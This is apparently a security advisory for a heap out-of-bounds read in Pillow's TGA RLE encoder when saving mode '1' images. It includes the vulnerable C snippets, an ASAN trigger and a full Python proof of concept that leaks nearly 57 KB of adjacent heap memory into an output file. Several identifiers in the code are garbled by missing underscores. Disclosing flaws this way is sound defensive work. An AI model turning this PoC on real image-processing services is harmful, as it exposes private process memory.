PT-2026-64103 — Pypi Pillow

PT-2026-64103 · Pypi · Pillow

Published

2026-07-23

Updated

2026-07-23

CVSS v3.1

6.5

Medium

Vector

AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:L

Summary

Pillow's TGA RLE encoder reads past its row buffer when saving a mode "1" image. Adjacent process heap bytes can be copied into the generated TGA file.

The bug is reachable through the public save API:

python

im.save(out, format="TGA", compression="tga rle")

Older affected Pillow versions use the equivalent public option rle=True.

For mode "1", Pillow allocates a packed row buffer of ceil(width / 8) bytes, but ImagingTgaRleEncode() treats the row as one full byte per pixel.

The maximum valid TGA width is 65535. At that width:

text

allocated packed row buffer: 8192 bytes
encoder byte-offset walk:   65535 bytes
maximum OOB window per row:  57343 bytes

On non-ASAN Pillow 12.2.0, the public-only maximum-width PoC below serialized 57297 bytes from distinct out-of-bounds source offsets into one returned TGA, covering 99.92% of the maximum adjacent heap window. No heap grooming, ctypes, private API, or malformed input file was used. The disclosure is emitted across many TGA packet payload copies of at most 128 bytes each, not one large memcpy().

Details

src/PIL/TgaImagePlugin.py allows mode "1" TGA output and selects the tga rle encoder when RLE compression is requested.

src/encode.c: setimage() allocates the row buffer using the packed-bit formula:

state->bytes = (state->bits * state->xsize + 7) / 8;
state->buffer = (UINT8 *)calloc(1, state->bytes);

For mode "1", state->bits == 1.

src/libImaging/TgaRleEncode.c then computes:

bytesPerPixel = (state->bits + 7) / 8;

This becomes 1, and the encoder uses pixel indexes as byte offsets:

static int
comparePixels(const UINT8 *buf, int x, int bytesPerPixel) {
  buf += x * bytesPerPixel;
  return memcmp(buf, buf + bytesPerPixel, bytesPerPixel) == 0;
}

The packet payload memcpy() later copies those out-of-bounds source bytes into the output. Raw packets copy up to 128 contiguous bytes, while RLE packets copy one representative byte:

memcpy(
  dst, state->buffer + (state->x * bytesPerPixel - state->count), flushCount
);

A width-2 mode "1" image allocates one row byte and already triggers an ASAN heap-buffer-overflow read. Wider images increase the adjacent heap window and the amount of heap data that can be serialized.

PoC

Minimal ASAN trigger

python

import io
from PIL import Image

out = io.BytesIO()
Image.new("1", (2, 1)).save(out, format="TGA", compression="tga rle")

Observed on local Pillow 12.3.0.dev0 ASAN target:

text

ERROR: AddressSanitizer: heap-buffer-overflow
READ of size 1
comparePixels /out/src/src/libImaging/TgaRleEncode.c:10
ImagingTgaRleEncode /out/src/src/libImaging/TgaRleEncode.c:81
0 bytes after a 1-byte allocation from setimage

Maximum-width heap disclosure

This PoC uses one maximum-width row. It parses the generated TGA packets and extracts only payload bytes whose source offsets were outside the allocated packed row. Rows are avoided because they mostly repeat the same adjacent heap window.

Run the following with a standard affected Pillow installation.

python

import hashlib
import io
import PIL
from PIL import Image

WIDTH = 65535
ATTEMPTS = 20
ROW BYTES = (WIDTH + 7) // 8
MAX OOB WINDOW = WIDTH - ROW BYTES

def extract oob payload(data):
  i = 18
  pixel = 0
  oob = bytearray()

  while pixel < WIDTH:
    descriptor = data[i]
    i += 1
    count = (descriptor & 0x7F) + 1

    if descriptor & 0x80:
      value = data[i]
      i += 1
      if pixel + count - 1 >= ROW BYTES:
        oob.append(value)
    else:
      values = data[i : i + count]
      i += count
      oob.extend(values[max(ROW BYTES - pixel, 0) :])

    pixel += count

  return bytes(oob)


best = b""

for  in range(ATTEMPTS):
  out = io.BytesIO()
  Image.new("1", (WIDTH, 1), 0).save(out, format="TGA", compression="tga rle")
  oob = extract oob payload(out.getvalue())
  if len(oob) > len(best):
    best = oob

with open("/tmp/max oob bytes.bin", "wb") as fp:
  fp.write(best)

print(f"Pillow={PIL. version }")
print(f"packed row bytes={ROW BYTES}")
print(f"maximum oob window={MAX OOB WINDOW}")
print(f"serialized distinct oob offsets={len(best)}")
print(f"nonzero oob bytes={sum(byte != 0 for byte in best)}")
print(f"coverage={len(best) / MAX OOB WINDOW:.2%}")
print(f"sha256={hashlib.sha256(best).hexdigest()}")

Observed on installed Pillow 12.2.0:

text

Pillow=12.2.0
packed row bytes=8192
maximum oob window=57343
serialized distinct oob offsets=57297
nonzero oob bytes=54407
coverage=99.92%

Impact

This is a heap out-of-bounds read and potential information disclosure.

A maximum-width single-row image can cause nearly the full 57343-byte adjacent heap window to be incorporated into one output file.

Fix

Found an issue in the description? Have something to add? Feel free to write us 👾

dbugs@ptsecurity.com

Related Identifiers

PYSEC-2026-3494

Affected Products

Pillow